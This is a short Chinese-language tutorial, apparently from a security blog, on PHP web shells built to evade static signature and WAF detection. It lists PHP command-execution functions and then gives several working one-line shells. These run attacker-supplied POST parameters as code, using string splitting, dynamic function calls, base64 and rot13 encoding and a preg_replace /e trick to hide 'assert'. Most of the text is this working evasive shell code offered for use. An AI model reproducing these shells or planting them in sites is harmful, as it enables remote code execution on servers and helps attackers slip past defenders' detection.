0x01 基于各类常规命令和代码执行函数的花样变形[如,拆分重组,动态执行,以此来躲避静态特征检测],不过像有些高危函数默认就会被运维们禁掉,甚至高版本的php默认已经不让执行[如,php7],万一再开了安全模式,就又有点儿费劲了
php中一些常见的执行类型函数:system()
exec()
shell_exec()
passthru()
proc_open()
`` 反引号执行系统命令
...<?php $_POST['fun']($_REQUEST['req']);?>
<?php $req = "a"."s"."s"."e"."r"."t";$req($_POST["klion"]); ?>
<?php $cmd = `$_POST[ch]`;echo "
$cmd";?>
<?php $arr = array("a"=>"$_POST[fun]");$a = "${ $arr["a"]( $_POST[code])}"; ?>
<?php
$XKs1u='as';$Rqoaou='e';
$ygDOEJ=$XKs1u.'s'.$Rqoaou.'r'.'t';
$joEDdb ='b'.$XKs1u.$Rqoaou.(64).'_'.'d'.$Rqoaou.'c'.'o'.'d'.$Rqoaou;
@$ygDOEJ(@$joEDdb($_POST[nihao]));
?>
0x02 利用各类编码来消除静态特征,以此来扰乱waf识别流量,说实话这种还是相对比较容易被检测到
利用base64编码,这种编码可能是各类webshell中用的最频繁的一种,如,weevely中默认就是用的base64,所以免杀性相对较好,另外还有诸如各类免杀大马,过waf菜刀等等……<?php $a = @base64_decode($a=$_POST['fun']);$a($_POST['code']);?>
利用rot13编码,也用的比较频繁,关于各类编码的内部工作细节,请仔细阅读开发手册<?php $a=str_rot13('nffreg');$a($_POST['req']);?>
<?php ($req = $_POST['req']) && @preg_replace('/ad/e','@'.str_rot13('nffreg').'($req)', 'add'); ?>